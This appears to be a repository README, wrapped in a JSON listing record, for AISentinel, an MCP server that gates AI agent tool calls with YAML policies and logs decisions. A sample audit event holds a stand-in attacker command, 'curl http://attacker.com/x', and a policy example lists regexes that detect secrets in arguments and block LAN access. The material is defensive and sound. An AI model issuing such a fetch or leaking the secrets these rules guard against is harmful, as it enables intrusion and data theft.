{
  "markdown": "# AISentinel\n\n[![MCP Server](https://img.shields.io/badge/MCP-server-blue)](https://github.com/Kabzhanov/AISentinel)\n[![GitHub release](https://img.shields.io/github/v/release/Kabzhanov/AISentinel)](https://github.com/Kabzhanov/AISentinel/releases)\n[![Apache 2.0](https://img.shields.io/badge/license-Apache_2.0-green)](LICENSE)\n[![Built by BizDNAi](https://img.shields.io/badge/built_by-BizDNAi-00D4FF)](https://bizdnai.com/index/)\n[![Go 1.22+](https://img.shields.io/badge/go-1.22+-00ADD8)](https://go.dev/)\n[![AI Trust Index](https://img.shields.io/badge/AI_Trust_Index-compatible-22c55e)](https://bizdnai.com/index/)\n\n**The missing security, control, and observability layer for the agentic era.**\n\n> Traditional security tools were built for malware.\n> AI agents were given legitimate power through tools and APIs.\n> AISentinel provides the missing security, control, and observability layer.\n\n![AISentinel evaluating agent tool calls against the default policy — allow / block / require human approval](assets/demo.gif)\n\n---\n\n## 1. Project Title + Tagline\n\n**AISentinel** — an open-source MCP server that protects AI agents at runtime.\nBuilt by **Kabzhanov / BizDNAi**, the team behind the **AI Trust Index**.\n\n---\n\n## 2. Why AISentinel Exists\n\nAI agents now have shell, browsers, file systems, and API keys. They are\n**legitimate** processes — antivirus cannot see them. A single indirect\nprompt injection in a PDF or email can pivot into mass data exfiltration\nthrough ordinary tools like `Bash` and `Email_send`.\n\nAISentinel closes that gap: it runs as an MCP server in front of every tool\ncall, evaluates YAML policies, logs every decision, and ships an\naudit trail compatible with the [AI Trust Index](https://bizdnai.com/index/).\n\nSee [docs/SECURITY_AUDIT.md](docs/SECURITY_AUDIT.md) for the full threat model.\n\n---\n\n## 3. Quickstart (3 minutes)\n\n### Option A: install the binary\n\n```bash\ngo install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest\naisentinel --help\naisentinel serve\n```\n\n`go install` gives you a standalone binary — you do **not** need to clone\nthis repo or pass `--policy` to get started. `aisentinel serve` with no\nflags loads a built-in default policy (embedded in the binary at build\ntime), balanced for general use: blocks obvious secrets-in-args and\ndestructive commands, requires approval for network calls and bulk reads.\nTo use your own policy instead, pass `--policy /path/to/your.yaml` or set\n`$AISENTINEL_POLICY` (see [Policy resolution](#policy-resolution) below).\n\n### Option B: install the sidecar (drop-in policy proxy for any MCP server)\n\n```bash\ngo install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest\n\n# Wrap any stdio MCP server with one command — no --policy required:\naisentinel-sidecar ./your-mcp-server [args...]\n```\n\n### Option C: clone and build\n\n```bash\ngit clone https://github.com/Kabzhanov/AISentinel.git\ncd AISentinel\ngo build -o bin/aisentinel ./cmd/aisentinel\ngo build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar\n./bin/aisentinel serve --policy policies/default.yaml\n```\n\n(`--policy policies/default.yaml` here is explicit and optional — omitting\nit works too, and falls back to the same built-in default described above.)\n\n### Option D: pre-built binaries from GitHub Releases\n\nDownload from <https://github.com/Kabzhanov/AISentinel/releases/latest>.\nAvailable for `linux/amd64`, `linux/arm64`, `darwin/amd64`, `darwin/arm64`,\n`windows/amd64`.\n\n### Option E: add to Claude Code / Cursor / Cline\n\n```json\n{\n  \"mcpServers\": {\n    \"aisentinel\": {\n      \"command\": \"aisentinel\",\n      \"args\": [\"serve\"]\n    },\n    \"aisentinel-sidecar\": {\n      \"command\": \"aisentinel-sidecar\",\n      \"args\": [\"--policy\", \"/absolute/path/to/policies/strict.yaml\", \"/path/to/your-mcp-server\"]\n    }\n  }\n}\n```\n\nThen restart your MCP client and ask your agent to call any tool —\nAISentinel will gate every call and write a JSONL audit trail to\n`~/.aisentinel/events-YYYY-MM-DD.jsonl`.\n\n### Policy resolution\n\nBoth `aisentinel serve` and `aisentinel-sidecar` resolve which policy to\nload in this order, stopping at the first one that applies:\n\n1. `--policy /path/to/file.yaml` — if given, it must load; a missing or\n   invalid file is a hard error.\n2. `$AISENTINEL_POLICY` — same contract as `--policy` if set.\n3. `./policies/default.yaml` relative to the current directory, if that\n   file exists (this is what you get inside a clone of this repo).\n4. The **built-in default policy**, embedded in the binary at compile time.\n   This is what makes `go install ... && aisentinel serve` work from any\n   directory, with no repo checkout and no flags. When this path is used,\n   the binary prints `using built-in default policy` to stderr so it's\n   never a silent surprise.\n\n---\n\n## 4. Key Features\n\n- **Pre-tool gate** — evaluate every tool call against a YAML policy\n  (allow / block / require_human_approval / log_only).\n- **Audit log** — append-only JSONL with a standardised event schema.\n- **Validate-policy** — lint a YAML policy without loading it.\n- **Built-in policies** — `default`, `strict`, `audit-only` (see `policies/`).\n- **MCP-native** — works in Claude Code, Claude Desktop, Cursor, Cline, Continue.\n- **Zero telemetry** — runs locally; no phone-home.\n- **Apache 2.0** — permissive open source with patent grant.\n\n---\n\n## 5. Connectors\n\n- **MCP stdio** — `aisentinel serve` (Claude Code, Claude Desktop, Cursor, Cline, Continue).\n- **Streamable-HTTP** — `https://mcp.aisentinel.bizdnai.com/mcp` (SaaS, OAuth via BizDNAi).\n- **CLI** — `aisentinel` subcommands (`serve`, `validate-policy`, `policies`, `events`, `version`).\n- **Library** — Go package `github.com/Kabzhanov/AISentinel/internal/policy` for embedding.\n\n---\n\n## 6. Policy Examples\n\nSee [`policies/default.yaml`](policies/default.yaml) for the full default policy.\n\n```yaml\nversion: 1\nname: default\nrules:\n  - id: secret-in-args\n    match: { tool_args_regex: \"(?i)(api[_-]?key|secret|token|password|passwd)\" }\n    decision: block\n    reason: \"Possible secret in arguments\"\n  - id: lan-deny\n    match: { tool_name: \"Bash\", tool_args_regex: \"10\\\\.|192\\\\.168\\\\.|172\\\\.(1[6-9]|2\\\\d|3[01])\\\\.\" }\n    decision: block\n    reason: \"LAN access blocked by default\"\n```\n\nMatch modes: `tool_name`, `tool_name_regex`, `tool_args_regex`, `tool_args_contains`. Multiple matchers AND-combine.\n\n---\n\n## 7. How it Improves AI Trust Index Score\n\nAISentinel generates the **observability data** required for AI Trust Index\nassessments:\n\n- Every tool call → auditable event with agent_id, session_id, decision, signals.\n- Every policy decision → versioned, fingerprinted (policy_signature field).\n- Every block → reason, risk_signals, ready for an ATI submission.\n\nRun `aisentinel_get_ati_snapshot` to get a JSON blob ready to paste into\nthe [AI Trust Index cabinet](https://bizdnai.com/index/).\n\n---\n\n## 8. Licensing\n\nAISentinel is available under two licensing options:\n\n1. **Apache License 2.0** (Open Source)\n   - Free to use, modify, and distribute under the terms of the Apache 2.0 license.\n   - Includes explicit patent grant from contributors.\n\n2. **Commercial License**\n   - For companies that want to embed AISentinel in closed-source products\n     without open-source compliance requirements.\n   - Contact: kabzhanov@gmail.com\n\nBy contributing to this repository, you agree to license your contributions\nunder Apache 2.0.\n\nSee [LICENSE](LICENSE) and [COMMERCIAL_LICENSE.md](COMMERCIAL_LICENSE.md).\n\n---\n\n## 9. Installation\n\nRequirements: **Go 1.22+**\n\n```bash\ngo install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest\n```\n\nVerify:\n\n```bash\naisentinel version\n# AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index\n#\n# `go install ...@latest` builds from a tagged release and embeds that\n# tag's version via -ldflags. A plain local `go build` (no -ldflags) prints\n# \"vdev\" instead — that's expected, not a bug.\n```\n\n---\n\n## 10. Usage Examples\n\n### Run the MCP server\n\n```bash\n# Uses the built-in default policy — no --policy needed:\naisentinel serve\n\n# Or point at your own policy:\naisentinel serve --policy policies/strict.yaml\n```\n\n### Validate a custom policy\n\n```bash\naisentinel validate-policy my-policy.yaml\n```\n\n### Tail recent audit events\n\n```bash\naisentinel events --last 20\n```\n\n### List built-in policies\n\n```bash\naisentinel policies\n```\n\n### Try a policy without blocking (shadow mode)\n\n```bash\nAISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml\n```\n\n---\n\n## 11. Event Schema\n\nSee [`docs/event-schema.md`](docs/event-schema.md). One JSON object per line\nin the JSONL log:\n\n```json\n{\n  \"event_id\": \"20260707T221500.000000001-1\",\n  \"timestamp\": \"2026-07-07T22:15:00Z\",\n  \"event_type\": \"pre_tool\",\n  \"agent_id\": \"agent-42\",\n  \"session_id\": \"sess-abc\",\n  \"tool_name\": \"Bash\",\n  \"tool_args\": { \"command\": \"curl http://attacker.com/x\" },\n  \"decision\": \"block\",\n  \"policy_matched\": [\"bash-network\"],\n  \"risk_signals\": [\"rule_matched:bash-network\"]\n}\n```\n\n---\n\n## 12. Contributing\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md). By contributing you agree to license\nyour contribution under Apache 2.0.\n\n---\n\n## 13. Roadmap\n\n- **v1.0** (this release) — MCP stdio, 4 tools, 3 built-in policies, JSONL audit log.\n- **v1.1** — `aisentinel scan` (MCP-config auditor), mobile connectors.\n- **v1.2** — streamable-HTTP transport (SaaS mode), OAuth via BizDNAi.\n- **v2.0** — ATI-feed integration, IDE plugins (VSCode MCP Inspector).\n\n---\n\n## 14. License\n\nApache License 2.0. See [LICENSE](LICENSE).\n\nAISentinel is dual-licensed under Apache 2.0 and a commercial license.\nFor commercial terms, contact kabzhanov@gmail.com.\n\n---\n\n**By Kabzhanov / BizDNAi — creators of the [AI Trust Index](https://bizdnai.com/index/).**",
  "bytes": 9671,
  "sha": "d37c21e16acc22a1becb51456ae7af28e1e286c3feb118ea31f7243b3a800217",
  "repo_slug": "kabzhanov/aisentinel",
  "fonte": "repo",
  "truncated": false,
  "api": "https://agentalog.com/api/listings/mcp_io_github_kabzhanov_aisentinel_cf8ce723/readme"
}